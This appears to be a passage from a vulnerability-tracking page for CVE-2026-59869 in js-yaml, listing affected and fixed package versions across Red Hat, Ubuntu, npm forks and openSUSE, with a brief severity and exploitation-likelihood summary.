before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-x86_64-pc-windows-gnu
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-x86_64-unknown-none
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-x86_64-unknown-uefi
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rustfmt
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
nodejs24
Red Hat:hummingbird:1
From an advisory covering 10 CVEs
before 0:24.18.0-0.3.hum1
0:24.18.0-0.3.hum1
nodejs24-bin
Red Hat:hummingbird:1
From an advisory covering 10 CVEs
before 0:24.18.0-0.3.hum1
0:24.18.0-0.3.hum1
nodejs24-devel
Red Hat:hummingbird:1
From an advisory covering 10 CVEs
before 0:24.18.0-0.3.hum1
0:24.18.0-0.3.hum1
nodejs24-docs
Red Hat:hummingbird:1
From an advisory covering 10 CVEs
before 0:24.18.0-0.3.hum1
0:24.18.0-0.3.hum1
nodejs24-full-i18n
Red Hat:hummingbird:1
From an advisory covering 10 CVEs
before 0:24.18.0-0.3.hum1
0:24.18.0-0.3.hum1
nodejs24-libs
Red Hat:hummingbird:1
From an advisory covering 10 CVEs
before 0:24.18.0-0.3.hum1
0:24.18.0-0.3.hum1
nodejs24-npm
Red Hat:hummingbird:1
From an advisory covering 10 CVEs
before 0:11.16.0-1.24.18.0.0.3.hum1
0:11.16.0-1.24.18.0.0.3.hum1
nodejs24-npm-bin
Red Hat:hummingbird:1
From an advisory covering 10 CVEs
before 0:24.18.0-0.3.hum1
0:24.18.0-0.3.hum1
v8-13.6-devel
Red Hat:hummingbird:1
From an advisory covering 10 CVEs
before 0:13.6.233.17-1.24.18.0.0.3.hum1
0:13.6.233.17-1.24.18.0.0.3.hum1
nodejs22
Red Hat:hummingbird:1
before 0:22.23.1-2.1.hum1
0:22.23.1-2.1.hum1
nodejs22-bin
Red Hat:hummingbird:1
before 0:22.23.1-2.1.hum1
0:22.23.1-2.1.hum1
nodejs22-devel
Red Hat:hummingbird:1
before 0:22.23.1-2.1.hum1
0:22.23.1-2.1.hum1
nodejs22-docs
Red Hat:hummingbird:1
before 0:22.23.1-2.1.hum1
0:22.23.1-2.1.hum1
nodejs22-full-i18n
Red Hat:hummingbird:1
before 0:22.23.1-2.1.hum1
0:22.23.1-2.1.hum1
nodejs22-libs
Red Hat:hummingbird:1
before 0:22.23.1-2.1.hum1
0:22.23.1-2.1.hum1
nodejs22-npm
Red Hat:hummingbird:1
before 0:10.9.8-1.22.23.1.2.1.hum1
0:10.9.8-1.22.23.1.2.1.hum1
nodejs22-npm-bin
Red Hat:hummingbird:1
before 0:22.23.1-2.1.hum1
0:22.23.1-2.1.hum1
v8-12.4-devel
Red Hat:hummingbird:1
before 0:12.4.254.21-1.22.23.1.2.1.hum1
0:12.4.254.21-1.22.23.1.2.1.hum1
aspnetcore-runtime-8.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.28-1.2.hum1
0:8.0.28-1.2.hum1
aspnetcore-runtime-dbg-8.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.28-1.2.hum1
0:8.0.28-1.2.hum1
aspnetcore-targeting-pack-8.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.28-1.2.hum1
0:8.0.28-1.2.hum1
dotnet-apphost-pack-8.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.28-1.2.hum1
0:8.0.28-1.2.hum1
dotnet-hostfxr-8.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.28-1.2.hum1
0:8.0.28-1.2.hum1
dotnet-runtime-8.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.28-1.2.hum1
0:8.0.28-1.2.hum1
dotnet-runtime-dbg-8.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.28-1.2.hum1
0:8.0.28-1.2.hum1
dotnet-sdk-8.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.128-1.2.hum1
0:8.0.128-1.2.hum1
dotnet-sdk-8.0-source-built-artifacts
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.128-1.2.hum1
0:8.0.128-1.2.hum1
dotnet-sdk-dbg-8.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.128-1.2.hum1
0:8.0.128-1.2.hum1
dotnet-targeting-pack-8.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.28-1.2.hum1
0:8.0.28-1.2.hum1
dotnet-templates-8.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.128-1.2.hum1
0:8.0.128-1.2.hum1
dotnet8.0
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:8.0.128-1.2.hum1
0:8.0.128-1.2.hum1
rh-podman-desktop
Red Hat:enterprise_linux:10.2
From an advisory covering 24 CVEs
before 0:1.1.2-1.el10_2
0:1.1.2-1.el10_2
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
receptor
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 61 CVEs
before 0:1.6.8-1.el10ap
0:1.6.8-1.el10ap
receptor
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 61 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
receptor
Red Hat:ansible_automation_platform_inside:2.6::el9
From an advisory covering 61 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:2.6.17-3.el9ap
0:2.6.17-3.el9ap
receptor
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
python-sqlparse
Red Hat:ansible_automation_platform_developer:2.6::el10
From an advisory covering 61 CVEs
before 0:0.6.0-1.el10ap
0:0.6.0-1.el10ap
python3-sqlparse
Red Hat:ansible_automation_platform_developer:2.6::el10
From an advisory covering 61 CVEs
before 0:0.6.0-1.el10ap
0:0.6.0-1.el10ap
python-sqlparse
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 61 CVEs
before 0:0.6.0-1.el10ap
0:0.6.0-1.el10ap
python3-sqlparse
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 61 CVEs
before 0:0.6.0-1.el10ap
0:0.6.0-1.el10ap
python3.12-sqlparse
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 61 CVEs
before 0:0.6.0-1.el9ap
0:0.6.0-1.el9ap
python3.12-sqlparse
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:0.6.0-1.el9ap
0:0.6.0-1.el9ap
automation-platform-ui
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:2.6.14-1.el9ap
0:2.6.14-1.el9ap
automation-controller
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller-server
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller-ui
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:3.1.60-1.el9ap
0:3.1.60-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:4.6.33-1.el8ap
0:4.6.33-1.el8ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:4.6.33-1.el9ap
0:4.6.33-1.el9ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 57 CVEs
before 0:1.6.8-1.el8ap
0:1.6.8-1.el8ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el8
From an advisory covering 57 CVEs
before 0:1.6.8-1.el8ap
0:1.6.8-1.el8ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:2.5.10-8.el8ap
0:2.5.10-8.el8ap
receptor
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:1.6.8-1.el8ap
0:1.6.8-1.el8ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 57 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el9
From an advisory covering 57 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:2.6.17-3.el9ap
0:2.6.17-3.el9ap
receptor
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
python3.12-sqlparse
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 57 CVEs
before 0:0.6.0-1.el8ap
0:0.6.0-1.el8ap
python3.12-sqlparse
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:0.6.0-1.el8ap
0:0.6.0-1.el8ap
python3.12-sqlparse
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 57 CVEs
before 0:0.6.0-1.el9ap
0:0.6.0-1.el9ap
python3.12-sqlparse
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:0.6.0-1.el9ap
0:0.6.0-1.el9ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:2.5.20260923-1.el8ap
0:2.5.20260923-1.el8ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:2.5.20260923-1.el9ap
0:2.5.20260923-1.el9ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:3.1.60-1.el8ap
0:3.1.60-1.el8ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:3.1.60-1.el9ap
0:3.1.60-1.el9ap
js-yaml
Root:npm
before 3.14.0-aikido.3
3.14.0-aikido.33.14.1-aikido.63.14.2-aikido.44.1.0-aikido.64.1.1-aikido.44.1.1-aikido.23.14.2-aikido.24.2.0-aikido.13.14.1-aikido.44.1.0-aikido.43.13.1-aikido.43.14.2-aikido.34.2.0-aikido.23.14.1-aikido.54.1.1-aikido.34.1.0-aikido.53.13.1-aikido.34.0.0-aikido.13.7.0-aikido.23.14.0-aikido.24.1.1-aikido.54.3.0-aikido.33.15.0-aikido.23.15.0-aikido.14.3.0-aikido.14.3.0-aikido.23.7.0-aikido.13.14.0-aikido.14.3.1-aikido.13.15.1-aikido.1
@rootio/js-yaml
Root:npm
before 3.14.0-root.io.3
3.14.0-root.io.33.14.1-root.io.63.14.2-root.io.44.1.0-root.io.64.1.1-root.io.44.1.1-root.io.23.14.2-root.io.24.2.0-root.io.13.14.1-root.io.44.1.0-root.io.43.13.1-root.io.43.14.2-root.io.34.2.0-root.io.23.14.1-root.io.54.1.1-root.io.34.1.0-root.io.53.13.1-root.io.34.0.0-root.io.13.7.0-root.io.23.14.0-root.io.24.1.1-root.io.54.3.0-root.io.33.15.0-root.io.23.15.0-root.io.14.3.0-root.io.14.3.0-root.io.23.7.0-root.io.13.14.0-root.io.14.3.1-root.io.13.15.1-root.io.1
node-js-yaml
Ubuntu:18.04:LTS
All versions, plus listed versions
3.9.1+dfsg-13.10.0+dfsg-1
None known
node-js-yaml
Ubuntu:20.04:LTS
All versions, plus listed versions
3.13.1+dfsg-2
None known
node-js-yaml
Ubuntu:22.04:LTS
All versions, plus listed versions
3.14.1+dfsg+~3.12.6-24.1.0+dfsg+~4.0.5-4ubuntu14.1.0+dfsg+~4.0.5-54.1.0+dfsg+~4.0.5-6
None known
node-js-yaml
Ubuntu:24.04:LTS
All versions, plus listed versions
4.1.0+dfsg+~4.0.5-7
None known
node-js-yaml
Ubuntu:25.10
All versions, plus listed versions
4.1.0+dfsg+~4.0.5-7
None known
node-js-yaml
Ubuntu:26.10
All versions, plus listed versions
4.1.1+dfsg+~4.0.9-14.2.0+~4.0.9-14.2.0+~4.0.9-2
None known
node-js-yaml
Ubuntu:26.04:LTS
All versions, plus listed versions
4.1.0+dfsg+~4.0.5-74.1.1+dfsg+~4.0.9-1
None known
velociraptor
openSUSE:Tumbleweed
From an advisory covering 40 CVEs
before 0.76.7.0.git145.b60ef1146-1.1
0.76.7.0.git145.b60ef1146-1.1

History

History
RecordedChangedSources
affected
factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-59869 is a high vulnerability (CVSS 7.5) in Nodeca Js-yaml, published July 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.58%, the 48th percentile. Fixed in js-yaml 3.15.0.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 416 references and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open